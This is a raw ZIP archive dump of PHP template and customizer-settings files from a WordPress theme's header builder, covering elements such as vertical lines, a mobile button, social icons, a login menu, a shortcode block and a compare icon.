     class="penci-builder-element penci-vertical-line vertical-line-5 <?php echo esc_attr( $line5_class ); ?>"></div>
PK     N\,4  4  4  inc/builder/elements/pb_vertical_line_5/settings.phpnu [        <?php 

$general_config = 'penci_builder_mods';
$options        = [];
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line5_width',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Width', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line5_height',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Height', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line5_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Vertical Line Color', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line5_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin' => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
	),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line5_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;PK     N\p    5  inc/builder/elements/pb_vertical_line_1/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
// verical line
$line1_width  = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line1_width' );
$line1_height = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line1_height' );
$line1_color  = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line1_color' );
$line1_class  = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line1_class' );
$data_attr    = [];
if ( ! empty( $line1_width ) ) {
	$data_attr[] = 'width:' . $line1_width . 'px;';
}
if ( ! empty( $line1_height ) ) {
	$data_attr[] = 'height:' . $line1_height . 'px;';
}
if ( ! empty( $line1_color ) ) {
	$data_attr[] = 'background-color:' . $line1_color . ';';
}
$data_attr = implode( ' ', $data_attr );
?>
<div style="<?php echo $data_attr; ?>"
     class="penci-builder-element penci-vertical-line vertical-line-1 <?php echo esc_attr( $line1_class ); ?>"></div>
PK     N\UB    4  inc/builder/elements/pb_vertical_line_1/settings.phpnu [        <?php 

$vertical_line_section = 'penci_header_pb_vertical_line_1_section';
$general_config        = 'penci_builder_mods';
$options               = [];
$options[]             = array(
	'id'        => 'penci_header_pb_vertical_line1_width',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Width', 'soledad' ),
);
$options[]             = array(
	'id'        => 'penci_header_pb_vertical_line1_height',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Height', 'soledad' ),
);
$options[]             = array(
	'id'        => 'penci_header_pb_vertical_line1_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Vertical Line Color', 'soledad' ),
);
$options[]             = array(
	'id'        => 'penci_header_pb_vertical_line1_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin' => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
	),
);
$options[]             = array(
	'id'        => 'penci_header_pb_vertical_line1_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     N\<ɒ    3  inc/builder/elements/pb_button_mobile/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$btn_link        = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_link_setting' );
$btn_link_rel    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_link_rel', 'noreferrer' );
$btn_link_target = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_link_target', '_blank' );
$btn_title       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_text_setting' );
$btn_style       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_style', 'style-4' );
$btn_shape       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_shape', 'retangle' );

$classes   = [];
$classes[] = 'penci-builder penci-builder-button penci-builder-button button-mobile-1';
$classes[] = 'button-define-' . $btn_style;
$classes[] = 'button-shape-' . $btn_shape;
$classes[] = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_txt_css_class', 'default' );
$btn_title = ! empty( $btn_title ) ? $btn_title : 'Button Text';

if ( ($btn_link && $btn_title) || is_customize_preview() ):?>
    <a target="<?php echo esc_attr( $btn_link_target ); ?>" rel="<?php echo esc_attr( $btn_link_rel ); ?>"
       href="<?php echo esc_url( $btn_link ); ?>" class="<?php echo implode( ' ', $classes ); ?> ">
		<?php echo $btn_title; ?>
    </a>
<?php 
endif; ?>
PK     N\F    2  inc/builder/elements/pb_button_mobile/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_text_setting',
	'default'   => 'Button Text',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-text',
	'label'     => __( 'Button Text', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_button_mobile_text_setting' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_link_setting',
	'default'   => 'https://your-link.com',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-text',
	'label'     => __( 'Button Link', 'soledad' ),
	'priority'  => 10,
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_link_target',
	'default'   => '_blank',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-select',
	'label'     => __( 'Link Target', 'soledad' ),
	'choices'   => [
		'_blank'  => __('Blank','soledad' ),
		'_self'   => __('Self','soledad' ),
		'_parent' => __('Parent','soledad' ),
		'_top'    => __('Top','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_link_rel',
	'default'   => 'noreferrer',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Select "rel" Attribute Type for Button Link','soledad'),
	'type'      =>  'soledad-fw-select',
	'choices'   => array(
		'none'                         => __('None','soledad' ),
		'nofollow'                     => __('nofollow','soledad' ),
		'noreferrer'                   => __('noreferrer','soledad' ),
		'noopener'                     => __('noopener','soledad' ),
		'noreferrer_noopener'          => __('noreferrer noopener','soledad' ),
		'nofollow_noreferrer'          => __('nofollow noreferrer','soledad' ),
		'nofollow_noopener'            => __('nofollow noopener','soledad' ),
		'nofollow_noreferrer_noopener' => __('nofollow noreferrer noopener','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_style',
	'default'   => 'style-4',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-select',
	'label'     => __( 'Button Pre-define Style', 'soledad' ),
	'choices'   => [
		'customize' => __('Default','soledad' ),
		'style-4'   => __('Filled','soledad' ),
		'style-1'   => __('Bordered','soledad' ),
		'style-2'   => __('Link','soledad' ),
		'style-3'   => __('Creative','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_shape',
	'default'   => 'ratangle',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-select',
	'label'     => __( 'Button Shape', 'soledad' ),
	'choices'   => [
		'ratangle' => __('Retangle','soledad' ),
		'circle'   => __('Circle','soledad' ),
		'round'    => __('Round','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_spacing_setting',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-box-model',
	
	'label'     => __( 'Button Spacing', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
/* start font */
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_font',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font For Button Text','soledad' ),
	
	'type'      =>  'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_font_w',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight For Button Text','soledad' ),
	
	'type'      =>  'soledad-fw-select',
	'choices'   => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_font_s',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Button Text','soledad' ),
	
	'type'      =>  'soledad-fw-select',
	'choices'   => array(
		'normal' => __('Normal','soledad' ),
		'italic' => __('Italic','soledad' ),
	)
);
/* end font*/
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_border_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	
	'label'     => __( 'Borders Color', 'soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_border_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Borders Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_bg_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Background Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_txt_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_txt_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Text Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_txt_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Button Font Size','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'  => array(
		'desktop' => 'penci_header_pb_button_mobile_txt_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_pb_button_mobile_txt_css_class',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     =>  'soledad-fw-text',
	'label'    => esc_html__( 'Custom CSS Class', 'soledad' ),
);
return $options;
PK     N\g_  _  8  inc/builder/elements/pb_social_icon_mobile/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$classes   = [];
$classes[] = 'social-icon-style penci-social-' . penci_builder_validate_mod( $header_data, 'penci_header_pb_social_icon_mobile_section_icon_style', 'default' );
$classes[] = 'penci-social-' . penci_builder_validate_mod( $header_data, 'penci_header_pb_social_icon_mobile_section_icon_color', 'normal' );
?>
<div class="header-social penci-builder-element mobile-social">
    <div class="inner-header-social <?php echo implode( ' ', $classes ); ?>">
		<?php
		$dataref     = penci_builder_validate_mod( $header_data, 'penci_header_pb_social_icon_mobile_section_penci_rel_type_social' ) ? penci_builder_validate_mod( $header_data, 'penci_header_pb_social_icon_mobile_section_penci_rel_type_social' ) : 'noreferrer';
		$data_return = str_replace( '_', ' ', $dataref );
		if ( 'none' != $data_return ) {
			$rel = ' rel="' . $data_return . '"';
		} else {
			$rel = '';
		}


		$social_data = penci_social_media_array();
		foreach ( $social_data as $name => $sdata ) {
			if ( $sdata[0] ) {
				$icon_html = penci_icon_by_ver( $sdata[1] );
				?>
                <a href="<?php echo esc_url( do_shortcode( $sdata[0] ) ); ?>"
                   aria-label="<?php echo ucwords( $name ); ?>" <?php echo $rel; ?>
                   target="_blank"><?php echo $icon_html; ?></a>
				<?php
			}
		}
		?>
    </div>
</div>
PK     N\2-    7  inc/builder/elements/pb_social_icon_mobile/settings.phpnu [        <?php 

$social_icon_section         = 'penci_header_pb_social_icon_mobile_section';
$general_config              = 'penci_builder_mods';
$query                       = [];
$query['autofocus[section]'] = 'pencidesign_new_section_social';
$options                     = [];
$options[]                   = array(
	'id'        => $social_icon_section . '_icon_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Social Icon Size','soledad' ),
	'type'      => 'soledad-fw-size',
	
	'ids'  => array(
		'desktop' => $social_icon_section . '_icon_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 50,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]                   = array(
	'id'        => $social_icon_section . '_icon_w',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __('Social Icon Width','soledad' ),
	
	'ids'  => array(
		'desktop' => $social_icon_section . '_icon_w',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 50,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]                   = array(
	'id'        => $social_icon_section . '_item_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __('Spacing Between Item','soledad' ),
	
	'ids'  => array(
		'desktop' => $social_icon_section . '_item_spacing',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]                   = array(
	'id'        => $social_icon_section . '_icon_style',
	'default'   => 'simple',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Social Icon Style','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'simple' => __('Simple','soledad' ),
		'square' => __('Square','soledad' ),
		'circle' => __('Circle','soledad' ),
	)
);
$options[]                   = array(
	'id'        => $social_icon_section . '_icon_color',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Social Icon Color','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'textaccent'  => __('Custom Color','soledad' ),
		'textcolored' => __('Brand Text Color','soledad' ),
		'colored'     => __('Brand Background Color','soledad' ),
	)
);
$options[]                   = array(
	'id'        => $social_icon_section . '_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[]                   = array(
	'id'        => $social_icon_section . '_penci_rel_type_social',
	'default'   => 'noreferrer',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Select "rel" Attribute Type for Social Media & Social Share Icons','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'none'                         => __('None','soledad' ),
		'nofollow'                     => __('nofollow','soledad' ),
		'noreferrer'                   => __('noreferrer','soledad' ),
		'noopener'                     => __('noopener','soledad' ),
		'noreferrer_noopener'          => __('noreferrer noopener','soledad' ),
		'nofollow_noreferrer'          => __('nofollow noreferrer','soledad' ),
		'nofollow_noopener'            => __('nofollow noopener','soledad' ),
		'nofollow_noreferrer_noopener' => __('nofollow noreferrer noopener','soledad' ),
	)
);
$options[]                   = array(
	'id'        => $social_icon_section . '_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Custom Background Color','soledad' ),
	
);
$options[]                   = array(
	'id'        => $social_icon_section . '_bg_hv_color',
	'type'      => 'soledad-fw-color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Custom Background Hover Color','soledad' ),
	
);
$options[]                   = array(
	'id'        => $social_icon_section . '_border_color',
	'type'      => 'soledad-fw-color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Custom Borders Color','soledad' ),
	
);
$options[]                   = array(
	'id'        => $social_icon_section . '_border_hv_color',
	'type'      => 'soledad-fw-color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Custom Borders Hover Color','soledad' ),
	
);
$options[]                   = array(
	'id'        => $social_icon_section . '_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Custom Color','soledad' ),
	
);
$options[]                   = array(
	'id'        => $social_icon_section . '_hv_color',
	'type'      => 'soledad-fw-color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Custom Hover Color','soledad' ),
	
);

return $options;PK     N\,q_	  	  ;  inc/builder/elements/pb_login_register_mobile/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
echo '<div class="pc-header-element penci-topbar-social-mobile pc-login-register-mobile"><ul class="pctopbar-login-btn">';
if ( is_user_logged_in() ) {
	// Get the URLs
	$logged_in_array = array();
	if ( current_user_can( 'manage_options' ) ) {
		$logged_in_array['dashboard'] = array(
			'icon' => 'fas fa-cog',
			'link' => admin_url(),
			'text' => penci_get_setting( 'penci_trans_dashboard_text' ),
		);
	}

	$parent_slug = get_theme_mod( 'penci_frontend_submit_account_slug', 'account' );

	$logged_in_array['profile'] = array(
		'icon' => 'far fa-user-circle',
		'link' => esc_url( home_url( '/' ) . $parent_slug . '/' . get_theme_mod( 'penci_frontend_submit_edit_account_slug', 'edit-account' ) ),
		'text' => penci_get_setting( 'penci_trans_profile_text' ),
	);

	$logged_in_array = apply_filters( 'penci_logged_in_items', $logged_in_array );

	$logged_in_array['logout'] = array(
		'icon' => 'fa-sign-out',
		'link' => wp_logout_url( home_url() ),
		'text' => penci_get_setting( 'penci_trans_logout_text' ),
	);

	$current_user = wp_get_current_user();


	$link_login = get_author_posts_url(  get_current_user_id() );
	if ( class_exists( 'WooCommerce' ) ) {
		$myaccount_page = get_option( 'woocommerce_myaccount_page_id' );
		if ( $myaccount_page ) {
			$link_login = get_permalink( $myaccount_page );
		}

	}


	$avatar_html = get_avatar( get_current_user_id(), '22' );

	echo '<li class="pclogin-item"><a href="' . $link_login . '">' . $avatar_html . ' ' . $current_user->display_name . '</a><ul class="pclogin-sub">';
	foreach ( $logged_in_array as $lgkey => $lgval ) {
		$lgicon = penci_icon_by_ver( $lgval["icon"] );
		$lglink = $lgval["link"];
		$lgtext = $lgval["text"];
		echo '<li class="pclogin-item-child pclogin-child-' . $lgkey . '"><a href="' . $lglink . '">' . $lgicon . $lgtext . '</a></li>';
	}
	echo '</ul></li>';

} else {
	$custom_text = '';
	if ( penci_builder_validate_mod( $header_data, 'penci_header_pb_login_register_mobile_penci_tblogin_text' ) ) {
		$custom_text = '<span>' . penci_builder_validate_mod( $header_data, 'penci_header_pb_login_register_mobile_penci_tblogin_text' ) . '</span>';
	}

	echo '<li class="pclogin-item login login-popup penci-login-popup-btn"><a href="#penci-login-popup">' . penci_icon_by_ver( 'far fa-user-circle' ) . $custom_text . '</a></li>';
}

echo '</ul></div>';

add_filter( 'theme_mod_penci_tblogin', function () {
	return true;
} );
PK     N\4y+  +  :  inc/builder/elements/pb_login_register_mobile/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_pb_login_register_mobile_penci_tblogin_text',
	'default'         => '',
	'transport'       => 'postMessage',
	'sanitize'        => 'sanitize_text_field',
	'label'           => __('Add Login Text','soledad' ),
	'description'     => __( 'Text beside the icon, leave it empty to disable', 'soledad' ),
	'type'            => 'soledad-fw-text',
	'partial_refresh' => [
		'penci_header_pb_login_register_mobile_penci_tblogin_text' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_mobile_penci_font_login_text',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Custom Font for Login Text','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_mobile_penci_fontw_login_text',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight for Login Text','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => array(
		''        => __('','soledad' ),
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_mobile_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_mobile_text_uppercase',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Uppercase Text ?','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'enable'  => 'Yes',
		'disable' => 'No',
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_mobile_color',
	'default'   => '',
	'type'      => 'soledad-fw-color',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __( 'Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_mobile_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __( 'Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_mobile_dropdown_color',
	'default'   => '',
	'type'      => 'soledad-fw-color',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __( 'Dropdown Link Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_mobile_dropdown_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __( 'Dropdown Link Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_mobile_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __('Font Size for Icon','soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_login_register_mobile_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_mobile_txt_size',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __('Font Size for Text','soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_login_register_mobile_txt_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_mobile_css_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     N\@    1  inc/builder/elements/pb_shortcode_2/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$shortcode_html  = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_shortcode_2_name', false );
$shortcode_class = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_shortcode_2_class' );
if ( empty( $shortcode_html ) ) {
	return false;
}
?>

<div class="penci-builder-element penci-shortcodes-2 <?php echo esc_attr( $shortcode_class ); ?>">
	<?php echo do_shortcode( $shortcode_html ); ?>
</div>
PK     N\7y    0  inc/builder/elements/pb_shortcode_2/settings.phpnu [        <?php 

$options = [];
$options[] = array(
	'id'        => 'penci_header_builder_pb_shortcode_2_name',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-textarea',
	
	'label'     => esc_html__( 'Shortcode Code', 'soledad' ),
	'priority' => 10,
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_shortcode_2_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices' => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_shortcode_2_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      =>  'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);
return $options;
PK     N\p^(    2  inc/builder/elements/pb_compare_icon/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$compare_page_id = get_theme_mod( 'penci_woocommerce_compare_page' );
if ( $compare_page_id ):
	?>
    <div id="top-header-compare"
         class="top-search-classes penci-builder-elements pcheader-icon compare-icon">
        <a href="<?php echo esc_url( get_page_link( $compare_page_id ) ); ?>"
           class="pc-button-define-<?php echo penci_builder_validate_mod( $header_data, 'penci_header_pb_compare_icon_section_btnstyle','customize' ); ?> compare-contents"
           title="<?php echo penci_woo_translate_text( 'penci_woo_trans_viewcompare' ); ?>">

            <i class="penciicon-exchange-2"></i>
            <span><?php do_action( 'penci_current_compare' ); ?></span>
        </a>
    </div>
<?php 
endif;
PK     N\1'    1  inc/builder/elements/pb_compare_icon/settings.phpnu [        <?php 

$options   = [];
